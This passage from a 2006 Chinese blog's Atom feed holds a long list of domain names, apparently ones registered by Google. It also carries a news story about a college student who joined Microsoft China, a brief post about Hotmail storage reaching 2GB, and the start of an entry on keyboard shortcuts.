minmax_bound="true">earthstream.com<BR minmax_bound="true">earthviewer.com<BR minmax_bound="true">earthviewer.net<BR minmax_bound="true">earthviewer.org<BR minmax_bound="true">elgoog.com<BR minmax_bound="true">elgoog.net<BR minmax_bound="true">elgoog.org<BR minmax_bound="true">eperfumez.com<BR minmax_bound="true">e-perfumez.com<BR minmax_bound="true">expire.ws<BR minmax_bound="true">firehunt.com<BR minmax_bound="true">floralartbyamy.com<BR minmax_bound="true">foofle.com<BR minmax_bound="true">fourth-party.com<BR minmax_bound="true">fourthparty.net<BR minmax_bound="true">fourth-party.net<BR minmax_bound="true">fourthparty.org<BR minmax_bound="true">fourth-party.org<BR minmax_bound="true">fridata.net<BR minmax_bound="true">froogel.com<BR minmax_bound="true">froogle.com<BR minmax_bound="true">froogol.com<BR minmax_bound="true">frooogle.com<BR minmax_bound="true">g00gle.com<BR minmax_bound="true">gbrowser.com<BR minmax_bound="true">gbrowser.net<BR minmax_bound="true">gbrowser.org<BR minmax_bound="true">gcalendar.com<BR minmax_bound="true">gchat.biz<BR minmax_bound="true">gchat.us<BR minmax_bound="true">gdrive.com<BR minmax_bound="true">gethealed.org<BR minmax_bound="true">gewgle.com<BR minmax_bound="true">gewgol.com<BR minmax_bound="true">gg-center.net<BR minmax_bound="true">ggoogle.com<BR minmax_bound="true">ggooglers.net<BR minmax_bound="true">ggooglers.org<BR minmax_bound="true">ghut.org<BR minmax_bound="true">gigagoogle.com<BR minmax_bound="true">gigagoogle.net<BR minmax_bound="true">gigagoogle.org<BR minmax_bound="true">globalgamerscenter.net<BR minmax_bound="true">globalgamers-center.net<BR minmax_bound="true">globalgames-center.net<BR minmax_bound="true">gmail.com<BR minmax_bound="true">gmmgjd.net<BR minmax_bound="true">gmmgjd.org<BR minmax_bound="true">gmmgjdwap.com<BR minmax_bound="true">gmodule.com<BR minmax_bound="true">gmodules.com<BR minmax_bound="true">gngjd.com<BR minmax_bound="true">gogle.com<BR minmax_bound="true">gogole.com<BR minmax_bound="true">googel.com<BR minmax_bound="true">googil.com<BR minmax_bound="true">google.biz<BR minmax_bound="true">google.com<BR minmax_bound="true">google.info<BR minmax_bound="true">google.net<BR minmax_bound="true">google.org<BR minmax_bound="true">google.us<BR minmax_bound="true">google.ws<BR minmax_bound="true">google1.com<BR minmax_bound="true">google2.com<BR minmax_bound="true">google3.com<BR minmax_bound="true">google4mp3.com<BR minmax_bound="true">googleaccelerator.com<BR minmax_bound="true">googleaccess.com<BR minmax_bound="true">google-access.com<BR minmax_bound="true">googleadsense.com<BR minmax_bound="true">googleadservices.com<BR minmax_bound="true">googleadult.com<BR minmax_bound="true">googleadvancedsearch.com<BR minmax_bound="true">googleanalytic.com<BR minmax_bound="true">googleanalyticas.com<BR minmax_bound="true">googleanalytics.com<BR minmax_bound="true">google-analytics.com<BR minmax_bound="true">googleanswer.com<BR minmax_bound="true">google-answer.com<BR minmax_bound="true">googleanswers.com<BR minmax_bound="true">google-answers.com<BR minmax_bound="true">googlearabic.com<BR minmax_bound="true">googlearchive.com<BR minmax_bound="true">googlearchives.com<BR minmax_bound="true">googlearth.com<BR minmax_bound="true">googlebase.com<BR minmax_bound="true">googlebay.com<BR minmax_bound="true">googleblog.biz<BR minmax_bound="true">googleblog.com<BR minmax_bound="true">googleblog.info<BR minmax_bound="true">googleblog.net<BR minmax_bound="true">googleblog.org<BR minmax_bound="true">googleblows.com<BR minmax_bound="true">googleblows.net<BR minmax_bound="true">googleblows.org<BR minmax_bound="true">googlebot.com<BR minmax_bound="true">googlebox.biz<BR minmax_bound="true">googlebox.com<BR minmax_bound="true">googlebox.info<BR minmax_bound="true">googlebox.net<BR minmax_bound="true">googlebox.org<BR minmax_bound="true">googlebrowserbutton.com<BR minmax_bound="true">googlebrowserbuttons.com<BR minmax_bound="true">googlebucks.com<BR minmax_bound="true">googlebutton.com<BR minmax_bound="true">googlebutton.net<BR minmax_bound="true">googlebutton.org<BR minmax_bound="true">googlebuttons.com<BR minmax_bound="true">googlebuy.com<BR minmax_bound="true">googlebuy.info<BR minmax_bound="true">googlebuy.net<BR minmax_bound="true">googlebuy.org<BR minmax_bound="true">googlebuyers.com<BR minmax_bound="true">googlecache.com<BR minmax_bound="true">googlecalendar.net<BR minmax_bound="true">googlecatalog.com<BR minmax_bound="true">googlecatalogs.com<BR minmax_bound="true">googleclips.com<BR minmax_bound="true">googlecom.com<BR minmax_bound="true">google-compute.com<BR minmax_bound="true">googlecompute.com<BR minmax_bound="true">googlecompute.net<BR minmax_bound="true">googlecompute.org<BR minmax_bound="true">googlecomputers.com<BR minmax_bound="true">googlecomputing.com<BR minmax_bound="true">google-computing.com<BR minmax_bound="true">googledesktop.com<BR minmax_bound="true">google-desktop.com<BR minmax_bound="true">googledigital.info<BR minmax_bound="true">googledigital.net<BR minmax_bound="true">googledigital.org<BR minmax_bound="true">googledirectory.com<BR minmax_bound="true">googledirectory.net<BR minmax_bound="true">googledirectory.org<BR minmax_bound="true">googledoodle.com<BR minmax_bound="true">googledoodle.net<BR minmax_bound="true">googledoodle.org<BR minmax_bound="true">googlee.com<BR minmax_bound="true">googleearth.com<BR minmax_bound="true">googleearth.info<BR minmax_bound="true">googleearth.net<BR minmax_bound="true">googleearth.org<BR minmax_bound="true">googlefoundation.com<BR minmax_bound="true">googlefoundation.net<BR minmax_bound="true">googlefoundation.org<BR minmax_bound="true">googlegear.com<BR minmax_bound="true">googlegear.net<BR minmax_bound="true">googlegear.org<BR minmax_bound="true">googlegoods.com<BR minmax_bound="true">googlegroups.com<BR minmax_bound="true">googleguy.com<BR minmax_bound="true">googleimageads.com<BR minmax_bound="true">googleimages.com<BR minmax_bound="true">googleimagesearch.com<BR minmax_bound="true">google-inc.com<BR minmax_bound="true">googleinstantmessenger.com<BR minmax_bound="true">googleit.com<BR minmax_bound="true">googleit.net<BR minmax_bound="true">googleit.org<BR minmax_bound="true">googlejobs.com<BR minmax_bound="true">googlejobs.net<BR minmax_bound="true">googlejournals.com<BR minmax_bound="true">googlelabs.info<BR minmax_bound="true">googlelabs.net<BR minmax_bound="true">googlelabs.org<BR minmax_bound="true">googlelecture.com<BR minmax_bound="true">googlelibrary.com<BR minmax_bound="true">googlelibrary.info<BR minmax_bound="true">googlelibrary.net<BR minmax_bound="true">googlelibrary.org<BR minmax_bound="true">googlelocal.net<BR minmax_bound="true">googlelocal.org<BR minmax_bound="true">googlemagazines.com<BR minmax_bound="true">googlemagazines.info<BR minmax_bound="true">googlemagazines.net<BR minmax_bound="true">googlemagazines.org<BR minmax_bound="true">googlemail.biz<BR minmax_bound="true">googlemail.com<BR minmax_bound="true">googlemail.info<BR minmax_bound="true">googlemail.org<BR minmax_bound="true">googlemail.us<BR minmax_bound="true">googlemaps.com<BR minmax_bound="true">googlemaps.org<BR minmax_bound="true">googlemastercard.com<BR minmax_bound="true">googleme.com<BR minmax_bound="true">googlemicrofilm.com<BR minmax_bound="true">googlemicrofilm.info<BR minmax_bound="true">googlemicrofilm.net<BR minmax_bound="true">googlemicrofilm.org<BR minmax_bound="true">googlemotherfucker.com<BR minmax_bound="true">googlemovie.info<BR minmax_bound="true">googlemovie.net<BR minmax_bound="true">googlemovie.org<BR minmax_bound="true">googlemovies.info<BR minmax_bound="true">googlemovies.net<BR minmax_bound="true">googlemovies.org<BR minmax_bound="true">googlemusic.com<BR minmax_bound="true">googlenews.net<BR minmax_bound="true">googlenews.org<BR minmax_bound="true">googlenum.com<BR minmax_bound="true">googleoogle.com<BR minmax_bound="true">googleoogle.net<BR minmax_bound="true">googleoogle.org<BR minmax_bound="true">googlepage.org<BR minmax_bound="true">googlepapers.com<BR minmax_bound="true">googlepapers.info<BR minmax_bound="true">googlepapers.net<BR minmax_bound="true">googlepapers.org<BR minmax_bound="true">googleplex.com<BR minmax_bound="true">googleplex.org<BR minmax_bound="true">googleplus.com<BR minmax_bound="true">googleporn.com<BR minmax_bound="true">googleprint.biz<BR minmax_bound="true">googleprint.com<BR minmax_bound="true">googleprint.info<BR minmax_bound="true">googleprint.net<BR minmax_bound="true">googleprint.org<BR minmax_bound="true">googleprint.us<BR minmax_bound="true">googleproxy.com<BR minmax_bound="true">googlequiz.com<BR minmax_bound="true">googlequiz.net<BR minmax_bound="true">googlequiz.org<BR minmax_bound="true">googlereader.com<BR minmax_bound="true">google-reader.com<BR minmax_bound="true">googlereader.info<BR minmax_bound="true">google-reader.info<BR minmax_bound="true">googlereader.net<BR minmax_bound="true">google-reader.net<BR minmax_bound="true">googlereader.org<BR minmax_bound="true">google-reader.org<BR minmax_bound="true">googleregistrar.com<BR minmax_bound="true">googlesatellite.com<BR minmax_bound="true">googlesatellite.info<BR minmax_bound="true">googlesatellite.net<BR minmax_bound="true">googlesatellite.org<BR minmax_bound="true">googlescholar.com<BR minmax_bound="true">googlesearch.com<BR minmax_bound="true">googlesearch.net<BR minmax_bound="true">googleseek.com<BR minmax_bound="true">googlesex.com<BR minmax_bound="true">googlesex.info<BR minmax_bound="true">googleshopping.com<BR minmax_bound="true">googleshopping.net<BR minmax_bound="true">googleshopping.org<BR minmax_bound="true">googlesidebar.com<BR minmax_bound="true">googlesidebar.net<BR minmax_bound="true">googlesidebar.org<BR minmax_bound="true">googlesimplex.com<BR minmax_bound="true">googlesms.biz<BR minmax_bound="true">googlesms.info<BR minmax_bound="true">googlesms.net<BR minmax_bound="true">googlesms.org<BR minmax_bound="true">googlesms.us<BR minmax_bound="true">googlesponsoredlinks.com<BR minmax_bound="true">googlestore.com<BR minmax_bound="true">googlestuff.com<BR minmax_bound="true">google-stuff.com<BR minmax_bound="true">googlesucks.com<BR minmax_bound="true">googlesucks.net<BR minmax_bound="true">googlesucks.org<BR minmax_bound="true">googlesyndication.com<BR minmax_bound="true">googletalk.info<BR minmax_bound="true">googletalk.net<BR minmax_bound="true">googletalk.org<BR minmax_bound="true">googletoolbar.com<BR minmax_bound="true">googletv.com<BR minmax_bound="true">googletv.net<BR minmax_bound="true">googletv.org<BR minmax_bound="true">googlevideo.biz<BR minmax_bound="true">googlevillage.com<BR minmax_bound="true">googlewifi.info<BR minmax_bound="true">googlewifi.net<BR minmax_bound="true">googlewifi.org<BR minmax_bound="true">googlewireless.info<BR minmax_bound="true">googlewireless.net<BR minmax_bound="true">googlewireless.org<BR minmax_bound="true">googleworld.org<BR minmax_bound="true">googli.com<BR minmax_bound="true">googlie.com<BR minmax_bound="true">googlr.com<BR minmax_bound="true">goolge.com<BR minmax_bound="true">gooogle.com<BR minmax_bound="true">gotgoogle.com<BR minmax_bound="true">gppgle.com<BR minmax_bound="true">gppglr.com<BR minmax_bound="true">groupsgoogle.com<BR minmax_bound="true">gtalkr.com<BR minmax_bound="true">guugle.com<BR minmax_bound="true">guugle.org<BR minmax_bound="true">guyindia.com<BR minmax_bound="true">habsplanet.com<BR minmax_bound="true">ho.org<BR minmax_bound="true">howtobuyaweddingring.com<BR minmax_bound="true">igoogle.com<BR minmax_bound="true">igoogle.net<BR minmax_bound="true">igoogle.org<BR minmax_bound="true">infrareddesigns.com<BR minmax_bound="true">issamghanwi.com<BR minmax_bound="true">jamesallen.org<BR minmax_bound="true">janinaordmann.com<BR minmax_bound="true">janina-ordmann.com<BR minmax_bound="true">jenniferwanderer.com<BR minmax_bound="true">jennifer-wanderer.com<BR minmax_bound="true">jinjilake.net<BR minmax_bound="true">kaltix.com<BR minmax_bound="true">kaltix.net<BR minmax_bound="true">kaltix.org<BR minmax_bound="true">kangkang.biz<BR minmax_bound="true">karsanadolulisesi.com<BR minmax_bound="true">karsfenlisesi.com<BR minmax_bound="true">kazimierczuk.net<BR minmax_bound="true">kedrowski.com<BR minmax_bound="true">keyhole.com<BR minmax_bound="true">keyholecorp.com<BR minmax_bound="true">keyholecorp.net<BR minmax_bound="true">keyholecorp.org<BR minmax_bound="true">kimphotosoftware.com<BR minmax_bound="true">latiff.biz<BR minmax_bound="true">lifescapeinc.com<BR minmax_bound="true">loizzos.com<BR minmax_bound="true">lorcanmurray.com<BR minmax_bound="true">lrgx.com<BR minmax_bound="true">m4cs.net<BR minmax_bound="true">mainechaos.com<BR minmax_bound="true">margin15.com<BR minmax_bound="true">markfong.com<BR minmax_bound="true">measuremap.com<BR minmax_bound="true">measuremap.net<BR minmax_bound="true">measuremap.org<BR minmax_bound="true">minzhu.org<BR minmax_bound="true">mobilegoogle.info<BR minmax_bound="true">mobilegoogle.net<BR minmax_bound="true">mobilegoogle.org<BR minmax_bound="true">my-deja.com<BR minmax_bound="true">mydeja.net<BR minmax_bound="true">my-deja.net<BR minmax_bound="true">mydejanews.com<BR minmax_bound="true">my-dejanews.com<BR minmax_bound="true">mygoogle.com<BR minmax_bound="true">my-google.com<BR minmax_bound="true">mygoogle.net<BR minmax_bound="true">my-google.net<BR minmax_bound="true">mygoogle.org<BR minmax_bound="true">my-google.org<BR minmax_bound="true">mypicasa.com<BR minmax_bound="true">namingsolutions.com<BR minmax_bound="true">ngoogle.com<BR minmax_bound="true">nncc.info<BR minmax_bound="true">non-org.net<BR minmax_bound="true">numgoogle.com<BR minmax_bound="true">nwiz.biz<BR minmax_bound="true">ogogle.com<BR minmax_bound="true">oingo.com<BR minmax_bound="true">orcit.com<BR minmax_bound="true">orcut.com<BR minmax_bound="true">orkat.com<BR minmax_bound="true">orkut.biz<BR minmax_bound="true">orkut.com<BR minmax_bound="true">orkut.info<BR minmax_bound="true">orkut.org<BR minmax_bound="true">ozhorde.com<BR minmax_bound="true">pageadgooglesyndication.com<BR minmax_bound="true">philipdryan.com<BR minmax_bound="true">picasa.com<BR minmax_bound="true">picasa.net<BR minmax_bound="true">picasasoftware.com<BR minmax_bound="true">piccasa.net<BR minmax_bound="true">porngoogle.com<BR minmax_bound="true">pyra.com<BR minmax_bound="true">q8planet.com<BR minmax_bound="true">rapidrefocus.com<BR minmax_bound="true">renquan.org<BR minmax_bound="true">requesttimeoff.com<BR minmax_bound="true">richardsbrain.com<BR minmax_bound="true">seeabc.com<BR minmax_bound="true">seedandsaplings.com<BR minmax_bound="true">sellwood.net<BR minmax_bound="true">sergeybrin.com<BR minmax_bound="true">sergeybrin.net<BR minmax_bound="true">sergeybrin.org<BR minmax_bound="true">signacon.net<BR minmax_bound="true">silverflute.net<BR minmax_bound="true">simpel.org<BR minmax_bound="true">smartprogrammer.com<BR minmax_bound="true">smartprogrammer.net<BR minmax_bound="true">sobacka.com<BR minmax_bound="true">sumitbudhiraja.com<BR minmax_bound="true">sumutpos.com<BR minmax_bound="true">support-reverse-smileys.com<BR minmax_bound="true">syncraconstruction.com<BR minmax_bound="true">talageo.com<BR minmax_bound="true">talkcentral.org<BR minmax_bound="true">tampe.info<BR minmax_bound="true">tapata.net<BR minmax_bound="true">team7365.com<BR minmax_bound="true">telageo.com<BR minmax_bound="true">testgmacrfc.com<BR minmax_bound="true">thecarbonneaus.net<BR minmax_bound="true">thedinnerpartynetwork.com<BR minmax_bound="true">timeoffrequest.com<BR minmax_bound="true">timeoffrequests.com<BR minmax_bound="true">timphanmem.com<BR minmax_bound="true">tongwen.net<BR minmax_bound="true">tongwen.org<BR minmax_bound="true">toolbargoogle.com<BR minmax_bound="true">triple-sss.com<BR minmax_bound="true">tvsearch.com<BR minmax_bound="true">urchin.com<BR minmax_bound="true">urching.com<BR minmax_bound="true">urchinstats.com<BR minmax_bound="true">utlemming.org<BR minmax_bound="true">veritablebevy.com<BR minmax_bound="true">wapgmmgjd.com<BR minmax_bound="true">wapgoogle.com<BR minmax_bound="true">wappdapag.com<BR minmax_bound="true">webservicehost.com<BR minmax_bound="true">wherewas.com<BR minmax_bound="true">writely.com<BR minmax_bound="true">wwapgmmgjd.com<BR minmax_bound="true">wwwadwordsselect.com<BR minmax_bound="true">wwwadwords-select.com<BR minmax_bound="true">wwwgoogle.com<BR minmax_bound="true">wwwgooglecom.com<BR minmax_bound="true">wwwgoogleoogle.com<BR minmax_bound="true">wwwgooglesyndication.com<BR minmax_bound="true">wwwpicasa.com<BR minmax_bound="true">wwwpicassa.com<BR minmax_bound="true">wwwpicassa.net<BR minmax_bound="true">wwwpiccasa.com<BR minmax_bound="true">wwwpiccasa.net<BR minmax_bound="true">wwwpiccassa.com<BR minmax_bound="true">wwwpiccassa.net<BR minmax_bound="true">wwwwgoogle.com<BR minmax_bound="true">xjpop.com<BR minmax_bound="true">xn--yvonne-schrder-5pb.com<BR minmax_bound="true">xn--yvonneschrder-rmb.com<BR minmax_bound="true">xvid-x.org<BR minmax_bound="true">xzcz.com<BR minmax_bound="true">yourmailhost.net<BR minmax_bound="true">zipdash.com<BR minmax_bound="true">ziqing.net<BR minmax_bound="true">gdrive.com<BR minmax_bound="true">googledrive.com<BR minmax_bound="true">google.dk<BR minmax_bound="true">google.se<BR minmax_bound="true">google.co.nz<BR minmax_bound="true">google.ca<BR minmax_bound="true">google.cn<BR minmax_bound="true">google.com.pr<BR minmax_bound="true">google.com.ca<BR minmax_bound="true">google.com.ch<BR minmax_bound="true">google.fi<BR minmax_bound="true">google.co.in<BR minmax_bound="true">google.co.uk<BR minmax_bound="true">google.lv<BR minmax_bound="true">google.co.hu<BR minmax_bound="true">google.lk<BR minmax_bound="true">gmale.com<BR minmax_bound="true">google.com.au<BR minmax_bound="true">google.ru<BR minmax_bound="true">google.nl<BR minmax_bound="true">adwords.nl<BR minmax_bound="true">google.be<BR minmax_bound="true">adwords.be<BR minmax_bound="true">google.de<BR minmax_bound="true">gogle.de<BR minmax_bound="true">googel.de<BR minmax_bound="true">google.ro<BR minmax_bound="true">google.kz<BR minmax_bound="true">google.by<BR minmax_bound="true">googlelyrics.com<BR minmax_bound="true">goog1e.com<BR minmax_bound="true">google.no<BR minmax_bound="true">blogger.eu<BR minmax_bound="true">google.pl<BR minmax_bound="true">google.com.pl<BR minmax_bound="true">google.es<BR minmax_bound="true">google.pt<BR minmax_bound="true">google.com.br<BR minmax_bound="true">google.vc<BR minmax_bound="true">google.co.za<BR minmax_bound="true">google.tm<BR minmax_bound="true">google.com.my<BR minmax_bound="true">google.bg<BR minmax_bound="true">frooglegoogle.com<BR minmax_bound="true">google.co.jp<BR minmax_bound="true">google.ie<BR minmax_bound="true">google.co.ck<BR minmax_bound="true">google.com.mx<BR minmax_bound="true">googleshoppinglist.com<BR minmax_bound="true">googlereviews.com<BR minmax_bound="true">googlewishlist.com<BR minmax_bound="true">saturngoogle.com<BR minmax_bound="true">earthgoogle.com<BR minmax_bound="true">mercurygoogle.com<BR minmax_bound="true">venusgoogle.com<BR minmax_bound="true">marsgoogle.com<BR minmax_bound="true">jupitergoogle.com<BR minmax_bound="true">uranusgoogle.com<BR minmax_bound="true">neptunegoogle.com<BR minmax_bound="true">plutogoogle.com<BR minmax_bound="true">googlegalactic.com<BR minmax_bound="true">googlesolarsystem.com<BR minmax_bound="true">google.com.om<BR minmax_bound="true">google.fr<BR minmax_bound="true">google.mu<BR minmax_bound="true">google.cz<BR minmax_bound="true">google.com.ph</SPAN></FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=342" /> 
	  <id>http://www.openx.cn/default.asp?id=342</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[河南大专女生从3万人中突围敲开微软大门]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-14T14:20:46+08:00</updated>
	  <published>2006-08-14T14:20:46+08:00</published>
		  <summary type="html"><![CDATA[在90%以上都是硕士生博士生的微软员工群体中，她这名大专生是怎么成功的？7月27日晚7时，记者在北京市知春路西格玛大厦对其进行了专访。<BR>
<DIV style="OVERFLOW-X: auto; WIDTH: 100%"><A><IMG alt=uploads/200608/04_134044_e376efc83a98c777b5f374c424ed54f2.jpg src="http://www.cokoo.net/blog/uploads/200608/04_134044_e376efc83a98c777b5f374c424ed54f2.jpg"></A></DIV><BR>图片说明：李文怡在微软的办公室<BR>　　河南南阳理工学院软件学院学生李文怡，在大学一年级课程刚结束时就被选拔到微软中国的微软HelpDesk技术支持集训营集训，最终成为微软中国的30 名实习生之一。通过努力，她最终成为30名实习生中留在微软中国总部工作的3人之一。在90%以上都是硕士生博士生的微软员工群体中，她这名大专生是怎么成功的？7月27日晚7时，记者在北京市知春路西格玛大厦对其进行了专访。<BR><BR>　　第一扇门：顺利入选50人微软集训营<BR><BR>　　能够成为微软的实习生，李文怡觉得自己非常幸运。<BR><BR>　　微软的实习生选拔程序非常严格。首先要通过所在学校老师和学校领导的推荐和选拔，然后要进行微软的笔试，笔试分专业考试、应变问答和英语翻译；第三步是北京微软中国的电话面试，考验专业知识和沟通能力；第四步是参加微软北京总部的全国集中培训；最后是在北京总部的面试。<BR><BR>　　前三关李文怡过得比较轻松，因为她是学校软件学院办公室主任，组织参加了很多活动，并赢得了不少荣誉。获得推荐并不困难，微软的笔试和电话面试也进行得十分顺利。<BR><BR>　　去年6月份，李文怡顺利进入微软在北京郊区的微软HelpDesk技术支持集训营。共有50名来自全国数百所学校的学生参加，其中很多是名牌大学大二大三的学生，50个人中，只有李文怡和她的三名同学是大专生。在培训中，不但要学习专业知识，更重要的是重视个人素质的培养，比如如何面对客人拜访，怎么组织简单的报告会等等，这些在学校里没人教。在个人素质方面，李文怡觉得自己还不错。因为在初中和高中阶段，她一直担任学校广播站的播音员，高中时期还担任学校宣传部的部长，锻炼了与人沟通的能力。<BR><BR>　　李文怡十分努力，在培训最后的分组考核中，其中有一个环节是讲课，她在她们所在的那一组中获得了讲课第一名。<BR><BR>　　第二扇门：幸运地成为30名微软实习生之一<BR><BR>　　集中培训结束后，李文怡和其他培训者一样，站在了被选择的起跑线上，只有30个人可以进入微软当实习生。<BR><BR>　　但在培训期间，李文怡并没有引起微软培训老师的特别注意。富有戏剧性的是，其中的一个部门很想要一位女实习生，挑选来挑选去，只有李文怡条件比较合适。所以他们选择了李文怡，决定给她两个月的实习期。<BR><BR>　　负责培训的老师告诉她：“你在微软的生命期只有两个月，你如果把握不好，进入微软的大门就会永远关闭。”<BR><BR>　　两个月的生命期意味着什么，李文怡心里十分明白。<BR><BR>　　回家收拾停当，坐了十几个小时的火车来到北京。一下火车，李文怡心里没有一点底气，自己第一次来北京，周围一个人都不认识，自己能不能在这里适应？<BR><BR>　　刚到微软，她什么都不懂，在学校里面一年的学习，在公司里一点都用不上。“在世界第一的软件公司工作，每一刻学到的东西都是我的宝贵的财富和经验。”她自己这样想。<BR><BR>　　她最初的工作从在光缆上贴标签开始。微软的环境，给了她积极学习的动力，不会就问，6周以后，她就可以上项目了。关于这段最初的经历，李文怡给记者搜索出来她当初写的“实习生日记”，其中一段就记录了她当时的景况和心情：“在我的印象中，与其说微软是一个大企业，不如说是一个大家庭，我就是生活在微软的小孩子，健康快乐地成长。刚到微软时，我就是一个名副其实的婴儿，对于工作，一点儿都不懂；对于微软，就像小时候对父亲一样敬畏，担心自己会不小心说错话、做错事，显得畏畏缩缩。但微软让我感到家的温暖和踏实，我一点一滴地学习，逐渐了解自己的工作。我渐渐长大，开始认识我们家里的成员，工作上开始有所感悟。”<BR><BR>　　李文怡的努力赢得了大家的认可。6周以后，她开始被允许从事内部技术支持工作。<BR><BR>　　第三扇门：两个月实习期内获得领导认可<BR><BR>　　曾经领导过她的胡俊高经理在接受记者采访时说：“李文怡本身比较聪明和灵活，她身上有两个比较突出的优点，一个是她性格比较开朗，善于主动做事情，能够在比较陌生的环境里很快地适应下来并很好地开展工作，；另一个就是她比较有责任心，工作交给她比较令人放心。”<BR><BR>　　但李文怡自己心里并没有多少底。两个月的实习期很快就要过去了，李文怡不知道自己的命运是留下来还是离开。<BR><BR>　　“在最后几天，我都收拾好了东西，准备在经理和督导找我谈话之后，立刻带着东西回学校继续上学。”李文怡回忆当时的情形说。<BR><BR>　　但奇怪的是，两个月过后，部门经理和督导并没有找她谈话，她还可以继续留在微软。这意味着她还有机会。<BR><BR>　　很快又两个月过去了，还是没有人找她谈话，她心里才安定下来。她知道自己终于被认可了。<BR><BR>　　后来部门经理调整，新任经理金宣任职时，督导就立刻找到金经理，对她说：“你一定要想办法把李文怡留下来！她是个不错的女孩！”很快，她的工作也得到了金经理的认可。<BR><BR>　　第四扇门：3万人当中选出了3个人<BR><BR>　　今年六月份，公司老总突然找到她，问她在正式转正之前对薪水有什么要求。李文怡对这个提问感到有点突然，她说她没有任何要求，只是想在微软多学一些东西。令她高兴的是，老总还是把她的工资从实习期间的1500元涨了好多。<BR><BR>　　微软正式与她签定了半年的工作合同。其实在签定合同的时候李文怡还是有一些犹豫，是留下来工作还是回去继续上学，她有点拿不定主意。胡俊高经理说，“她当时向我讨主意，我跟她说，在北京一边上学一边工作的机会多得很，我还是劝她留了下来。”<BR><BR>　　胡俊高说，全国软件专业的学生有4万人，学习微软课程的学生有3万人，而微软这次从中挑选的实习生只有30人，而能够留在微软工作的只有3人。所以可以看出微软的要求有多么严格。跟李文怡站在同一起跑线上的很多是清华大学、浙江大学等知名大学的学生。选拔实习生的时候，有一个浙江大学的学生，是学生会的主席，各方面都比较优秀，但是因为在面试的时候经常巧妙地拍考官的马屁而被淘汰。<BR><BR>　　微软的这种选拔制度让李文怡很佩服。微软在使用人才上并不十分看重文凭，在他们的用人观点中，人才就是那些能用和可用之才。<BR><BR>　　第五扇门：融入微软文化下的激情生活<BR><BR>　　转正以后，并非意味着成为微软永远的员工了。微软员工的流动性非常大，被淘汰的现象经常出现。李文怡无疑时时刻刻都感到肩上的压力。<BR><BR>　　“在微软，我们员工的工作生命永远只有6个月。6个月的合同结束后，如果表现优异可以继续留下来工作，如果不能胜任，合同到期将会立刻走人。”李文怡说，她现在虽然正式转正，看似保险了，但如果不努力，走人是必然的。<BR><BR>　　7月27日晚7时，北京市知春路西格玛大厦六楼工作间，不少同事已经下班，但李文怡的工作还没有结束。她正在整理一天工作的记录总结，并制定第二天的工作计划。<BR><BR>　　李文怡租住的房子离单位很近，步行只有5分钟的路程。公司一般是每天上午九点上班，下午五点下班，但是上班时间并不要求打卡，上午晚来一段时间也没有人查问。李文怡说，其实公司对他们的要求挺宽松，工作时间可以自由出入，还可以到楼下的健身房锻炼身体，或者到沙发吧台去休闲一下。渴了饿了可以到茶水间去吃东西，食品和各种饮料应有尽有，想吃什么和喝什么可以随便拿，并且是免费的。”<BR><BR>　　“公司尽量给我们创造一个很宽松的工作环境，但没有一个员工放纵自己，大家都很自觉。”李文怡说，这里的员工工资都很高，他们有车有房，属于不缺钱的一族，“一个人到了不缺钱的境界，他工作是为了什么呢？” 李文怡的反问让人想起了她们的老板比尔·盖茨的那句名言：“每天早晨醒来，一想到所从事的工作和所开发的技术将会给人类生活带来的巨大影响和变化，我就会无比兴奋和激动。”而这正是微软企业文化的核心所在。<BR><BR>　　“我在微软的激情生活才刚刚开始，和其他同事的工作境界相比，我还有很多路要走。”李文怡说。<BR>（李长需张定有/文闫善良/图）<B> </B>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=341" /> 
	  <id>http://www.openx.cn/default.asp?id=341</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现我的HotMail邮箱涨到2G了!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-11T09:24:32+08:00</updated>
	  <published>2006-08-11T09:24:32+08:00</published>
		  <summary type="html"><![CDATA[<P>无意中用WEB方式登陆了HotMail,呀界面都变了,还有空间居然2G了~哈哈</P>
<P>&nbsp;</P>
<P>不过可惜HotMail的速度更稳定性一直不太让人满意.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=340" /> 
	  <id>http://www.openx.cn/default.asp?id=340</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[电脑快捷键大全]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-09T10:05:08+08:00</updated>
	  <published>2006-08-09T10:05:08+08:00</published>
